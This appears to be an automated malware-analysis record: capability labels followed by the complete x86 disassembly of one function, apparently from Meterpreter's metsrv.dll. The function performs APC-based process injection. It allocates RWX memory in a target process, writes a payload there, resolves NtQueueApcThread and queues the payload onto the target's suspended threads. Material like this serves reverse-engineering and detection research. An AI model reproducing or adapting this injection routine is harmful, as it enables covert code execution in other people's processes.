Function at 0x10077a0a
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push edi
push 5
xor edx, edx
lea edi, [ebp - 0x7c]
pop ebx
xor eax, eax
mov dword [ebp - 0x80], edx
push 6
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x48], edx
lea edi, [ebp - 0x40]
mov dword [ebp - 0x44], edx
stosd dword es:[edi], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1006edec
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10077cf0
cmp dword [ebp + 0x18], 1
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x20]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x80], 0x1c
jne 0x10077a7d
mov dword [ebp - 0xc], 0x100ce510
mov dword [ebp - 4], 0xf5
jmp 0x10077b51
cmp dword [ebp + 0x18], 2
jne 0x10077c5a
and dword [ebp - 0x64], 0
lea edi, [ebp - 0x60]
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0xc], 0x100ce608
rep stosd dword es:[edi], eax
mov esi, 0x100b645c
mov dword [ebp - 4], 0x144
lea edi, [ebp - 0x34]
push 0x40
push 0x3000
movsd dword es:[edi], dword [esi]
push 0x2000
push 0x6b0095f0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
test eax, eax
je 0x10077c62
push 0x1c
lea ecx, [ebp - 0x64]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x10077c62
push dword [ebp - 0x58]
call fcn.1007869f
mov edi, eax
pop ecx
test edi, edi
je 0x10077c62
push dword [ebp - 0x58]
push 0x90
push edi
call fcn.10078750
add esp, 0xc
push 0
push dword [ebp - 0x58]
push edi
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10077c62
push 0
push 0x12
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x58]
add eax, 0xffffffee
add eax, dword [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10077c62
push edi
call fcn.10078667
pop ecx
push 0x100b6470
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x10077c62
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x10077c62
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x10077c62
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10077c62
mov eax, dword [ebp - 4]
push 0x40
push 0x3000
add eax, 0x14
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x10077c62
mov ecx, dword [ebp - 4]
push 0
push ecx
push dword [ebp - 0xc]
lea edx, [ecx + eax]
push eax
push esi
mov dword [ebp - 8], edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10077c62
push 0
push 0x14
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10077c62
mov eax, dword [ebp + 0x14]
cmp dword [ebp - 0x74], eax
jne 0x10077c4a
push dword [ebp - 0x78]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10077c4a
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
cmp eax, 0xffffffff
je 0x10077c44
push dword [ebp - 0x10]
call fcn.1006ef85
pop ecx
pop ecx
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x1c]
push esi
call dword [ebp - 0x20]
test eax, eax
jne 0x10077c4a
xor ebx, ebx
jmp 0x10077c4a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10077bf9
jmp 0x10077c6a
push 0xa
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x10077cac
mov edi, dword [ebp + 8]
test edi, edi
je 0x10077cac
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10077cac
push 2
push 0x20196
push esi
call sym.metsrv.dll_packet_add_tlv_uint
push ebx
push 0x20004
push esi
call sym.metsrv.dll_packet_add_tlv_uint
mov eax, dword [edi + 0xc]
push ebx
push esi
push edi
call dword [eax + 0x1c]
add esp, 0x24
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 0x10]
jmp 0x10077cbf
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.1006efe2
mov esi, eax
pop ecx
test esi, esi
jne 0x10077cb1
push edi
call fcn.1006ee20
mov eax, dword [ebp - 0x14]
pop ecx
pop esi
test eax, eax
je 0x10077ce2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10077cf0
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret